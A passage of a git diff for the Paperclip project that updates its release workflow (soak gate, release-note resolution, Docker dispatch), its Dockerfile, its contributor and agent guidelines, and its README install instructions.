2>/dev/null \ + | node -e 'let d="";process.stdin.on("data",c=>d+=c).on("end",()=>{const t=JSON.parse(d);process.stdout.write(typeof t === "string" ? t : (t[process.argv[1]] ?? ""))})' "$beta_version" || true)" + if [ -z "$publish_time" ]; then + fail_or_justify "could not determine the npm publish time of beta ${beta_version}." + exit 0 + fi + + age_seconds="$(node -e 'process.stdout.write(String(Math.floor((Date.now() - Date.parse(process.argv[1])) / 1000)))' "$publish_time")" + min_seconds=$((3 * 24 * 60 * 60)) + age_days="$(node -e 'process.stdout.write((Number(process.argv[1]) / 86400).toFixed(1))' "$age_seconds")" + + if [ "$age_seconds" -lt "$min_seconds" ]; then + fail_or_justify "beta ${beta_version} has only soaked ${age_days} days (minimum is 3)." + exit 0 + fi + + { + echo "## Stable soak gate passed" + echo "" + echo "- Source beta: \`${beta_version}\`" + echo "- Soak time: ${age_days} days" + } >> "$GITHUB_STEP_SUMMARY" + + # The stable notes need not exist inside the promoted source commit: + # a promoted beta's notes are drafted on master (releases/beta/v*.md) + # at beta-publish time and edited during the soak. Resolve which copy + # publish_stable should read, and fail early — before the npm-stable + # approval gate — when none exists. Notes inside the source tree + # (the candidate fix path) take precedence. + - name: Resolve stable release notes + id: notes + env: + SHA: ${{ steps.soak.outputs.sha }} + BETA_VERSION: ${{ steps.soak.outputs.beta_version }} + STABLE_DATE: ${{ inputs.stable_date }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + + # Pin the master revision the notes were resolved at, so the + # publish and canonicalization steps read the same content even + # when master advances during the approval delay. + echo "notes_ref=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + + args=(stable --print-version) + if [ -n "${STABLE_DATE}" ]; then + args+=(--date "${STABLE_DATE}") + fi + version="$(./scripts/release.sh "${args[@]}")" + echo "stable_version=${version}" >> "$GITHUB_OUTPUT" + + if git cat-file -e "${SHA}:releases/v${version}.md" 2>/dev/null; then + echo "notes_mode=source_tree" >> "$GITHUB_OUTPUT" + echo "notes_path=releases/v${version}.md" >> "$GITHUB_OUTPUT" + echo "- Stable notes: \`releases/v${version}.md\` at the source commit" >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + if [ -n "${BETA_VERSION}" ] && [ -f "releases/beta/v${BETA_VERSION}.md" ]; then + echo "notes_mode=master_beta" >> "$GITHUB_OUTPUT" + echo "notes_path=releases/beta/v${BETA_VERSION}.md" >> "$GITHUB_OUTPUT" + echo "- Stable notes: \`releases/beta/v${BETA_VERSION}.md\` on master" >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + msg="no release notes found for stable ${version}: neither releases/v${version}.md at the source commit nor releases/beta/v${BETA_VERSION:-}.md on master. Merge the notes PR from the beta's draft branch (release-notes/v), or add the file to the source ref." + if [ "${DRY_RUN}" = "true" ]; then + echo "::warning::${msg}" + echo "- Stable notes: MISSING (a real release would be blocked)" >> "$GITHUB_STEP_SUMMARY" + echo "notes_mode=missing" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "::error::${msg}" + exit 1 + verify_stable: - if: github.event_name == 'workflow_dispatch' + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' + needs: preflight_stable uses: ./.github/workflows/release-verify.yml with: - ref: ${{ inputs.source_ref }} + ref: ${{ needs.preflight_stable.outputs.sha }} preview_stable: - if: github.event_name == 'workflow_dispatch' && inputs.dry_run - needs: verify_stable + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && inputs.dry_run + needs: [preflight_stable, verify_stable] runs-on: ubuntu-latest timeout-minutes: 45 permissions: @@ -116,7 +906,7 @@ jobs: uses: actions/checkout@v7 with: fetch-depth: 0 - ref: ${{ inputs.source_ref }} + ref: ${{ needs.preflight_stable.outputs.sha }} - name: Setup pnpm uses: pnpm/action-setup@v6 @@ -146,21 +936,24 @@ jobs: ./scripts/release.sh "${args[@]}" publish_stable: - if: github.event_name == 'workflow_dispatch' && !inputs.dry_run - needs: verify_stable + if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && !inputs.dry_run + needs: [preflight_stable, verify_stable] runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-stable permissions: contents: write id-token: write + actions: write + outputs: + stable_version: ${{ steps.tag.outputs.version }} steps: - name: Checkout repository uses: actions/checkout@v7 with: fetch-depth: 0 - ref: ${{ inputs.source_ref }} + ref: ${{ needs.preflight_stable.outputs.sha }} - name: Setup pnpm uses: pnpm/action-setup@v6 @@ -184,6 +977,22 @@ jobs: git config user.name "github-actions[bot]" git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + # A promoted beta's notes live on master (drafted at beta publish, + # edited during the soak), not inside the promoted source commit — a + # commit cannot carry a file named for a promotion date that was + # unknown when it was created. Materialize them outside the worktree + # so release.sh still runs against a clean source checkout. + - name: Materialize stable release notes from master + if: needs.preflight_stable.outputs.notes_mode == 'master_beta' + env: + NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }} + NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }} + run: | + set -euo pipefail + git fetch origin master --quiet + git show "${NOTES_REF}:${NOTES_PATH}" > "$RUNNER_TEMP/stable-notes.md" + echo "STABLE_NOTES_FILE=$RUNNER_TEMP/stable-notes.md" >> "$GITHUB_ENV" + - name: Publish stable env: GITHUB_ACTIONS: "true" @@ -192,6 +1001,9 @@ jobs: if [ -n "${{ inputs.stable_date }}" ]; then args+=(--date "${{ inputs.stable_date }}") fi + if [ -n "${STABLE_NOTES_FILE:-}" ]; then + args+=(--notes-file "$STABLE_NOTES_FILE") + fi ./scripts/release.sh "${args[@]}" - name: Dump npm debug logs @@ -205,13 +1017,53 @@ jobs: done - name: Push stable tag + id: tag run: | tag="$(git tag --points-at HEAD | grep '^v' | head -1)" if [ -z "$tag" ]; then echo "Error: no stable tag points at HEAD after release." >&2 exit 1 fi - git push origin "refs/tags/${tag}" + echo "version=${tag#v}" >> "$GITHUB_OUTPUT" + if ! git push origin "refs/tags/${tag}"; then + sha="$(git rev-parse HEAD)" + { + echo "## Tag push rejected" + echo "" + echo "The npm publish succeeded, but pushing \`${tag}\` was rejected." + echo "This usually means the tagged commit modifies workflow files," + echo "which GITHUB_TOKEN may not reference when creating refs from" + echo "dispatch or scheduled runs. Recover with maintainer credentials:" + echo "" + echo '```' + echo "git tag ${tag} ${sha}" + echo "git push origin refs/tags/${tag}" + echo "gh workflow run docker.yml --ref refs/tags/${tag}" + echo "./scripts/create-github-release.sh ${tag#v}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + echo "::error::Tag push rejected; see the job summary for recovery commands." >&2 + exit 1 + fi + + # Tag pushes made with GITHUB_TOKEN do not fire docker.yml's tag + # trigger (GitHub suppresses workflow runs caused by GITHUB_TOKEN + # pushes), so dispatch the image build at the new tag explicitly. This + # is what moves Docker `:latest` and publishes the versioned stable + # image tags. + - name: Build Docker images for the stable tag + env: + GH_TOKEN: ${{ github.token }} + run: | + tag="$(git tag --points-at HEAD | grep '^v' | head -1)" + if gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY"; then + echo "Dispatched docker.yml at ${tag}." + else + # Older source commits may predate docker.yml's workflow_dispatch + # trigger; the dispatch then fails while the npm release is + # already complete and correct. + echo "::warning::Could not dispatch docker.yml at ${tag}. Run docker.yml manually at that tag to publish the stable images." + fi - name: Create GitHub Release env: @@ -223,4 +1075,59 @@ jobs: echo "Error: no v* tag points at HEAD after stable release." >&2 exit 1 fi - ./scripts/create-github-release.sh "$version" + args=("$version") + if [ -n "${STABLE_NOTES_FILE:-}" ]; then + args+=(--notes-file "$STABLE_NOTES_FILE") + fi + ./scripts/create-github-release.sh "${args[@]}" + + # After a stable ships from master-side beta notes, move the file to its + # canonical home (releases/vYYYY.MDD.P.md) so the stable-notes invariant + # holds durably. Machine-owned branch + human-opened PR, as with the + # draft job above. + canonicalize_stable_notes: + needs: [preflight_stable, publish_stable] + if: ${{ needs.preflight_stable.outputs.notes_mode == 'master_beta' && needs.publish_stable.result == 'success' }} + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Push the canonicalization branch + env: + STABLE_VERSION: ${{ needs.publish_stable.outputs.stable_version }} + NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }} + NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }} + run: | + set -euo pipefail + branch="release-notes/v${STABLE_VERSION}-canonicalize" + git checkout -B "$branch" + # Canonicalize exactly what shipped: take the notes at the pinned + # revision the release read them from, so a master edit made + # during the run surfaces as a reviewable diff in this PR instead + # of silently diverging from the published GitHub Release. + git show "${NOTES_REF}:${NOTES_PATH}" > "releases/v${STABLE_VERSION}.md" + git add "releases/v${STABLE_VERSION}.md" + if git ls-files --error-unmatch "${NOTES_PATH}" >/dev/null 2>&1; then + git rm -q "${NOTES_PATH}" + fi + git commit -m "docs(release): canonicalize stable notes for v${STABLE_VERSION}" + git push -f origin "$branch" + { + echo "## Stable notes canonicalization pushed" + echo "" + echo "- Branch: \`${branch}\`" + echo "- Open and merge the PR (a human opens it so CI runs):" + echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1" + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.gitignore b/.gitignore index 63de6b12829..f0619539584 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,9 @@ drizzle/meta/ .vite/ coverage/ .DS_Store +._* +.AppleDouble +.LSOverride data/ .paperclip/ .pnpm-store/ @@ -57,6 +60,7 @@ tests/e2e/test-results/ tests/e2e/playwright-report/ tests/release-smoke/test-results/ tests/release-smoke/playwright-report/ +test-results/issue-detail-perf/ tests/storybook-visual/.cache/ tests/storybook-visual/.snapshots/ tests/storybook-visual/baseline-review/ diff --git a/.npmrc b/.npmrc index 3e775efb0f4..f301fedf982 100644 --- a/.npmrc +++ b/.npmrc @@ -1 +1 @@ -auto-install-peers=true +auto-install-peers=false diff --git a/.nvmrc b/.nvmrc new file mode 100644 index 00000000000..a45fd52cc58 --- /dev/null +++ b/.nvmrc @@ -0,0 +1 @@ +24 diff --git a/AGENTS.md b/AGENTS.md index cc341f6861c..4547b149c41 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -29,6 +29,10 @@ Before making changes, read in this order: - `packages/adapters/`: agent adapter implementations (Claude, Codex, Cursor, etc.) - `packages/adapter-utils/`: shared adapter utilities - `packages/plugins/`: plugin system packages +- `packages/skills-catalog/`: app-shipped skills catalog (`@paperclipai/skills-catalog`) +- `packages/teams-catalog/`: app-shipped teams catalog (`@paperclipai/teams-catalog`) +- `cli/`: `paperclipai` CLI package (published bin, agent-facing commands) +- `skills/`: Paperclip runtime/operational skills (not part of the app catalog) - `doc/`: operational and product docs ## 4. Dev Setup (Auto DB) @@ -87,6 +91,32 @@ When you are creating a plan file in the repository itself, new plan documents b 6. Attach inspectable generated artifacts. When your task produces a user-inspectable deliverable file, follow the Paperclip skill's "Generated Artifacts and Work Products" workflow before final disposition. In this repo, prefer the self-contained skill helper at `skills/paperclip/scripts/paperclip-upload-artifact.sh` so the file is available through the Paperclip API, create/update an artifact work product when the file is the deliverable, link the uploaded artifact in the final issue comment, and then set status. Do not rely on local filesystem paths as the only access path. If an important file intentionally remains workspace-only, create/update a work product with `metadata.resourceRef.kind: "workspace_file"` and a workspace-relative path, then name that work product and path in the final comment. Treat browse/search as a fallback for recovering workspace files, not the preferred deliverable path. See `doc/AGENT-ARTIFACTS.md` for details and `.mp4`/`.webm` examples. +7. Name the three data paths correctly. +This repo has three separate data paths. Do not confuse them. Match a change to a path by its file path, not by the word "observability" or "telemetry" alone. + +- **Telemetry** is the Paperclip first-party event system. It is opt-out and it sends data to a Paperclip endpoint by default. Its paths are: + - `packages/shared/src/telemetry/` + - the generated contract `packages/shared/src/telemetry/generated/paperclip-telemetry.ts` + - each caller of `packages/shared/src/telemetry/events.ts` or `packages/shared/src/telemetry/client.ts` +- **Observability** is the OpenTelemetry trace path. An operator must set an OTLP endpoint. Until an operator sets the endpoint, the tracer is a no-operation. Its paths are: + - `server/src/instrumentation.ts` + - `doc/observability.md` + - `packages/adapter-utils/src/duplex-observability.ts` + - `server/src/services/duplex-observability-recorder.ts` + - the span attributes in `packages/adapter-utils/src/acpx-engine/startup-timing.ts` +- **The run log** holds rows in the local `heartbeat_run_events` table. The data stays in the instance database. Its paths are: + - `doc/run-log-events.md` + - `packages/db/src/schema/heartbeat_run_events.ts` + - the append path `appendRunEvent` in `server/src/services/heartbeat.ts` + +Apply a review level that matches the path: + +- **Telemetry change (strict review).** The author updates the generated contract first. The author updates `packages/shared/src/telemetry/README.md` in the same pull request. The author requests a privacy review. Reason: a Telemetry event goes to a Paperclip endpoint by default, so a mistake sends data immediately. +- **Observability change (lighter review).** The operator endpoint gate stays in place. The no-operation behaviour stays when no endpoint is set. A privacy review is not necessary while the change stays inside the closed span-attribute allowlist. +- **Run-log change (no extra review).** A run-log change needs neither review level above, because the data stays in the instance database. + +**Exclusion.** The word "observability" in a file such as `server/src/services/recovery-observability.ts` names a different concept. Apply this rule by path, not by word match. + ## 6. Database Change Workflow When changing data model: @@ -179,48 +209,6 @@ A change is done when all are true: 4. Docs updated when behavior or commands change 5. PR description follows the [PR template](.github/PULL_REQUEST_TEMPLATE.md) with all sections filled in (including Model Used) -## 11. Fork-Specific: HenkDz/paperclip - -This is a fork of `paperclipai/paperclip` with QoL patches and a **built-in** Hermes adapter story on branch `feat/externalize-hermes-adapter` ([tree](https://github.com/HenkDz/paperclip/tree/feat/externalize-hermes-adapter)). - -### Branch Strategy - -- `feat/externalize-hermes-adapter` now ships `hermes_local` and `hermes_gateway` as built-in core adapters. -- Older fork branches may still document plugin-only Hermes; treat this file as authoritative for the current branch. - -### Hermes (built-in) - -- `hermes_local` is available without Adapter manager installation and runs the local Hermes CLI. -- `hermes_gateway` is available without Adapter manager installation and calls an already-running Hermes API server. -- Operators may still install external Hermes packages through Adapter manager to override/shadow the built-ins. -- Optional: `file:` entry in `~/.paperclip/adapter-plugins.json` remains useful for local development of override packages. - -### Local Dev - -- Fork runs on port 3101+ (auto-detects if 3100 is taken by upstream instance) -- `npx vite build` hangs on NTFS — use `node node_modules/vite/bin/vite.js build` instead -- Server startup from NTFS takes 30-60s — don't assume failure immediately -- Kill ALL paperclip processes before starting: `pkill -f "paperclip"; pkill -f "tsx.*index.ts"` -- Vite cache survives `rm -rf dist` — delete both: `rm -rf ui/dist ui/node_modules/.vite` - -### Fork QoL Patches (not in upstream) - -These are local modifications in the fork's UI. If re-copying source, these must be re-applied: - -1. **stderr_group** — amber accordion for MCP init noise in `RunTranscriptView.tsx` -2. **tool_group** — accordion for consecutive non-terminal tools (write, read, search, browser) -3. **Dashboard excerpt** — `LatestRunCard` strips markdown, shows first 3 lines/280 chars - -### Plugin System - -PR #2218 (`feat/external-adapter-phase1`) adds external adapter support. See root `AGENTS.md` for full details. - -- Adapters can be loaded as external plugins via `~/.paperclip/adapter-plugins.json` -- The plugin-loader should have ZERO hardcoded adapter imports — pure dynamic loading -- `createServerAdapter()` must include ALL optional fields (especially `detectModel`) -- Built-in UI adapters can shadow external plugin parsers; external override pause/resume should restore the built-in parser. -- Reference external adapters: Droid (npm); Hermes can also be tested as an override package. - ## Design system `DESIGN.md` at the repo root is the source of truth for UI design decisions. The token-only rule applies to all `ui/` changes: every color, spacing, radius, type, shadow, and motion value in `ui/src/components/**` and `ui/src/pages/**` comes from the token layer in `ui/src/index.css` — no hex, raw px, arbitrary Tailwind bracket values, or raw `font-size`/`fontSize` declarations in components, outside the documented allowlist in `ui/src/index.css`. Run `pnpm check:token-gates` (`scripts/check-token-gates.mjs`) before committing UI changes — it fails on any violation not covered by that allowlist. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 152c527f202..a1dab6f5f34 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -104,7 +104,9 @@ All tests must pass before a PR can be merged. Run them locally first and verify ### Telemetry Changes -If your change adds, removes, or modifies emitted telemetry events, update the [Telemetry Data Contract](packages/shared/src/telemetry/README.md) in the same PR. Keep clients emitting raw dimension values and avoid documenting or relying on private delivery details. +This repo has three separate data paths: Telemetry, Observability, and the run log. See rule 7 in `AGENTS.md` for the full definitions and the review level each path needs. + +If your change adds, removes, or modifies emitted telemetry events, update the [Telemetry Data Contract](packages/shared/src/telemetry/README.md) in the same PR. Keep clients emitting raw dimension values and avoid documenting or relying on private delivery details. If your change adds, removes, or modifies an OpenTelemetry span or span attribute, keep the change inside the closed span-attribute allowlist in `packages/adapter-utils/src/acpx-engine/startup-timing.ts`. If your change adds or modifies a run-log event, update `doc/run-log-events.md` in the same PR. ### Paperclip Gates Must Pass diff --git a/DESIGN.md b/DESIGN.md index 6eaa1e12cf7..128fc6fafb1 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -56,3 +56,29 @@ No visual redesign, no new colors or typefaces, no layout restructuring, no new See `doc/design/PRIOR-ART.md` — a previous audit pass (PAP-280/283/284, on the `PAP-282-playground` branch, NOT on master) found that of ~220 hardcoded drift sites, only 6 were exact-value-mappable to existing tokens; expect the verbatim extraction to mint many new tokens that the human scale-collapse step later merges. It also drafted usage rules (radius tiers, CTA tiers, named type styles) that are good candidates for the post-audit scale decision. How-to guide for day-to-day UI changes: see `doc/design/CHANGING-THE-UI.md`. + +## Motion tokens (Task Chat Redesign) + +The redesigned task thread (flag `enableTaskChatRedesign`) is the first surface to +tokenize motion. Principles — reasoning only; values live in `ui/src/index.css`: + +- **One home, and it is `:root`, not `@theme inline`.** `@theme inline` bakes literals + at build time, so a value placed there cannot be moved at runtime. The dev tweak panel + tunes motion by writing CSS custom properties live, so every motion token must resolve + at runtime — hence `:root`. +- **Two tiers.** Primitives (`--motion-duration-*`, `--motion-ease-*`) express the app's + baseline motion feel; state/component-scoped tokens (`--motion--*`) reference the + primitives so the whole thread retunes from a few knobs. Scoped tokens exist so the + tweak panel can group controls by the state they affect. +- **Reuse the house curves.** New easing defaults point at the two curves already used + across the app rather than inventing a third feel. +- **No hardcoded timing in components.** Durations, easings, delays, and staggers used by + the redesigned thread must reference these tokens; a check script rejects raw `ms` / + `cubic-bezier` values outside `ui/src/index.css`. This discipline is what makes the + tweak panel structurally possible. +- **Values are placeholders.** The committed numbers are sensible starting points, tuned + live by a human and pasted back from the tweak panel's export — never treated as final + during the baseline build. +- **Reduced motion is honored at the token layer.** A `prefers-reduced-motion: reduce` + block collapses the duration/stagger tokens to zero, cascading to every scoped token, + in addition to each animation's own component-level guard. diff --git a/Dockerfile b/Dockerfile index 25b285f62c6..e0abbbccf51 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,9 +1,9 @@ # syntax=docker/dockerfile:1.20 -FROM node:lts-trixie-slim AS base +FROM node:24-trixie-slim AS base ARG USER_UID=1000 ARG USER_GID=1000 RUN apt-get update \ - && apt-get install -y --no-install-recommends ca-certificates gosu curl gh git wget ripgrep python3 \ + && apt-get install -y --no-install-recommends ca-certificates gosu curl gh git wget ripgrep python3 tini \ && rm -rf /var/lib/apt/lists/* \ && corepack enable @@ -24,7 +24,9 @@ COPY packages/adapter-utils/package.json packages/adapter-utils/ COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-server/ COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/ COPY packages/mcp-server/package.json packages/mcp-server/ +COPY packages/paperclip-runner/package.json packages/paperclip-runner/ COPY packages/skills-catalog/package.json packages/skills-catalog/ +COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/ COPY packages/teams-catalog/package.json packages/teams-catalog/ COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/ COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/ @@ -32,6 +34,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/ COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/ COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/ COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/ +COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/ COPY packages/adapters/hermes/package.json packages/adapters/hermes/ COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/ COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/ @@ -49,12 +52,25 @@ RUN pnpm install --frozen-lockfile FROM base AS build WORKDIR /app +RUN apt-get update \ + && apt-get install -y --no-install-recommends cargo rustc \ + && rm -rf /var/lib/apt/lists/* COPY --from=deps /app /app COPY . . RUN pnpm --filter @paperclipai/ui build RUN pnpm --filter @paperclipai/plugin-sdk build +# The server build runs scripts/write-build-stamp.mjs, which stamps the built +# commit into dist/build-info.json. The build context has no .git, so the +# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the +# next RUN as an environment variable, so declare it here — in the build +# stage — before the server build. The production stage below declares the +# same ARG again for the runtime fallback; an ARG goes out of scope at the +# end of its stage. Empty for local `docker build`, which then writes no stamp. +ARG PAPERCLIP_BUILD_COMMIT="" +ENV NODE_OPTIONS=--max-old-space-size=4096 RUN pnpm --filter @paperclipai/server build RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1) +RUN rm -rf packages/paperclip-runner/runner/target # Build the workspace-EXCLUDED sandbox-provider plugins (kubernetes etc.) so their # dist/manifest.js ships in the image. The plugin-loader reads the built manifest at @@ -75,9 +91,21 @@ ARG USER_GID=1000 # (the image has no .git, so the server cannot derive it at runtime). Empty for # local `docker build`, which just leaves the server on its normal fallbacks. ARG PAPERCLIP_BUILD_VERSION="" +# The exact commit this image was built from, for the same reason: server-info +# falls back to PAPERCLIP_BUILD_COMMIT when git is unavailable, which feeds the +# /api/health `commit` field that deploy tooling verifies. Empty locally. +ARG PAPERCLIP_BUILD_COMMIT="" +# Refreshes the tool layer below when it changes (CI stamps an ISO week, so +# the @latest CLI tools advance weekly). Without it the cached layer would +# freeze the tools until an unrelated cache bust. +ARG CLI_TOOLS_CACHE_EPOCH="" WORKDIR /app -COPY --chown=node:node --from=build /app /app -RUN npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \ +# Tool and OS layer BEFORE the app copy: it references nothing from /app, and +# the app copy changes on every commit — ordered the other way around, this +# (the single most expensive layer: four CLI toolchains + apt, per arch) can +# never hit the layer cache and rebuilds on every build. +RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \ + && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \ && apt-get update \ && apt-get install -y --no-install-recommends openssh-client jq \ && rm -rf /var/lib/apt/lists/* \ @@ -87,6 +115,8 @@ RUN npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/cod COPY scripts/docker-entrypoint.sh /usr/local/bin/ RUN chmod +x /usr/local/bin/docker-entrypoint.sh +COPY --chown=node:node --from=build /app /app + ENV NODE_ENV=production \ HOME=/paperclip \ HOST=0.0.0.0 \ @@ -95,6 +125,7 @@ ENV NODE_ENV=production \ PAPERCLIP_HOME=/paperclip \ PAPERCLIP_INSTANCE_ID=default \ PAPERCLIP_BUILD_VERSION=${PAPERCLIP_BUILD_VERSION} \ + PAPERCLIP_BUILD_COMMIT=${PAPERCLIP_BUILD_COMMIT} \ USER_UID=${USER_UID} \ USER_GID=${USER_GID} \ PAPERCLIP_CONFIG=/paperclip/instances/default/config.json \ @@ -105,7 +136,14 @@ ENV NODE_ENV=production \ EXPOSE 3100 -ENTRYPOINT ["docker-entrypoint.sh"] +# tini, not node, is PID 1. The entrypoint ends in `exec`, so without an init +# node inherits PID 1 and never wait()s the orphans the kernel re-parents onto +# it -- agent runs spawn git/claude/esbuild/sh descendants that outlive their +# leader, so they pile up as permanent zombies (~79/h measured) until the +# cgroup pid limit is exhausted and *every* fork() in the container fails. +# tini reaps adopted orphans and forwards signals, so the exec chain below and +# graceful shutdown are unchanged. Mirrors docker/agent-runtime/Dockerfile.base. +ENTRYPOINT ["/usr/bin/tini", "--", "docker-entrypoint.sh"] CMD ["node", "--import", "./server/node_modules/tsx/dist/loader.mjs", "server/dist/index.js"] # Cloud image variant (build with `--target cloud`): the production image diff --git a/README.md b/README.md index 2d02971edcb..5541a858b8b 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ MIT License Stars Star History Rank - Discord + Discord


@@ -301,7 +301,39 @@ Paperclip is a full control plane, not a wrapper. Before you build any of this y Open source. Self-hosted. No Paperclip account required. ```bash -npx paperclipai onboard --yes +curl -fsSLO https://paperclip.ing/install.sh +curl -fsSLO https://paperclip.ing/install.sh.sha256 +if command -v sha256sum >/dev/null 2>&1; then + sha256sum -c install.sh.sha256 +else + shasum -a 256 -c install.sh.sha256 +fi +bash install.sh +``` + +The installer ensures Node.js 24.11 or newer is available, installs a managed +Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It +can also install Paperclip as a background service on supported Linux and +macOS systems. The checksum detects transfer or publishing mistakes, but it is +served from the same origin as the script; use a release-tag or commit-pinned +GitHub copy when you need an independently hosted source. + +For a non-interactive managed install: + +```bash +curl -fsSL https://paperclip.ing/install.sh | bash -s -- --no-prompt --no-onboard +paperclipai onboard --yes +``` + +The piped form requires supported Node.js, npm, and npx to already be present. +If Node.js bootstrap is required, download and review `install.sh` before +running it so no privileged dependency-install command is accepted through a +pipe. + +To try Paperclip without installing anything permanently: + +```bash +npx --registry https://registry.npmjs.org paperclipai onboard --yes ``` > **Troubleshooting: private npm registry `.npmrc`** @@ -323,13 +355,16 @@ npx paperclipai onboard --yes That quickstart path now defaults to trusted local loopback mode for the fastest first run. To start in authenticated/private mode instead, choose a bind preset explicitly: ```bash -npx paperclipai onboard --yes --bind lan +paperclipai onboard --yes --bind lan # or: -npx paperclipai onboard --yes --bind tailnet +paperclipai onboard --yes --bind tailnet ``` If you already have Paperclip configured, rerunning `onboard` keeps the existing config in place. Use `paperclipai configure` to edit settings. +See [`doc/INSTALLING.md`](doc/INSTALLING.md) for pinned versions, canary and +git-ref installs, updates, rollback, service management, and uninstalling. + Or manually: ```bash @@ -341,7 +376,7 @@ pnpm dev This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required. -> **Requirements:** Node.js 20+, pnpm 9.15+ +> **Requirements:** Node.js 24.11+, pnpm 9.15+
@@ -374,6 +409,8 @@ By default, agents run on scheduled heartbeats and event-based triggers (task as pnpm dev # Full dev (API + UI, watch mode) pnpm dev:once # Full dev without file watching pnpm dev:server # Server only +pnpm dev:mobile # Serve prebuilt UI on :3101 for phones/tablets (proxies /api → :3100) +pnpm dev:both # Run `pnpm dev` and `pnpm dev:mobile` together pnpm build # Build all pnpm typecheck # Type checking pnpm test # Cheap default test run (Vitest only) @@ -415,7 +452,7 @@ See [doc/DEVELOPING.md](doc/DEVELOPING.md) for the full development guide. - ⚪ Self-Organization - ⚪ Automatic Organizational Learning - ⚪ CEO Chat -- 🟡 Cloud deployments (multi-tenant isolation & local→cloud sync shipped) +- 🟡 Cloud deployments (multi-tenant isolation & company Import/Export shipped) - ⚪ Desktop App - ⚪ Bring-your-own-ticket-system (Asana / Linear / Jira as on-ramps) - ⚪ Connected Apps (one-click integrations, e.g. Vercel) @@ -430,7 +467,9 @@ Find Plugins and more at [awesome-paperclip](https://github.com/gsxdsm/awesome-p ## Observability -Paperclip ships with opt-in OpenTelemetry auto-instrumentation for the server (traces only). It activates when `OTEL_EXPORTER_OTLP_ENDPOINT` is set and supports `grpc`, `http/protobuf`, and `http/json` via the standard `OTEL_EXPORTER_OTLP_PROTOCOL` env var. The `@opentelemetry/*` packages are optional peer dependencies — install them only if you want tracing. See [doc/observability.md](doc/observability.md) for install commands and the full env-var reference. +Paperclip ships with opt-in OpenTelemetry auto-instrumentation for the server (traces only). It activates when `OTEL_EXPORTER_OTLP_ENDPOINT` is set and supports `grpc`, `http/protobuf`, and `http/json` via the standard `OTEL_EXPORTER_OTLP_PROTOCOL` env var. `@opentelemetry/api` is a normal server dependency; the SDK, auto-instrumentation, and exporter packages are optional peer dependencies — install them only if you want tracing. See [doc/observability.md](doc/observability.md) for install commands and the full env-var reference. + +Paperclip also ships with opt-in Sentry error monitoring for the server and the browser. Set `SENTRY_DSN` to activate it — the server and the browser then report to the same Sentry project. `@sentry/node` is an optional peer dependency for the server; install it only if you want error monitoring. See [doc/observability.md](doc/observability.md#sentry-error-monitoring) for the install command, the privacy settings, and the full default capture set. ## Telemetry diff --git a/ROADMAP.md b/ROADMAP.md index fd10044308b..fd245a3e88f 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -108,11 +108,11 @@ Paperclip should get better at turning completed work into reusable organization We want a lighter-weight way to talk to leadership agents, but those conversations should still resolve to real work objects like plans, issues, approvals, or decisions. This should improve interaction without changing the core task-and-comments model. -### 🟡 Cloud deployments (multi-tenant isolation & local→cloud sync shipped) +### 🟡 Cloud deployments (multi-tenant isolation & company Import/Export shipped) Local-first remains important, but Paperclip also needs a cleaner shared deployment story. Teams should be able to run the same product in hosted or semi-hosted environments without changing the mental model. -Shipped so far: multi-tenant isolation with per-company JWT keys and company-scoped cloud tenants, local→cloud upstream sync, and cloud-managed instance bootstrap. +Shipped so far: multi-tenant isolation with per-company JWT keys and company-scoped cloud tenants, portable company Import/Export (zip bundles that move a company between instances, local or cloud), and cloud-managed instance bootstrap. Next: a blob-store relay so large 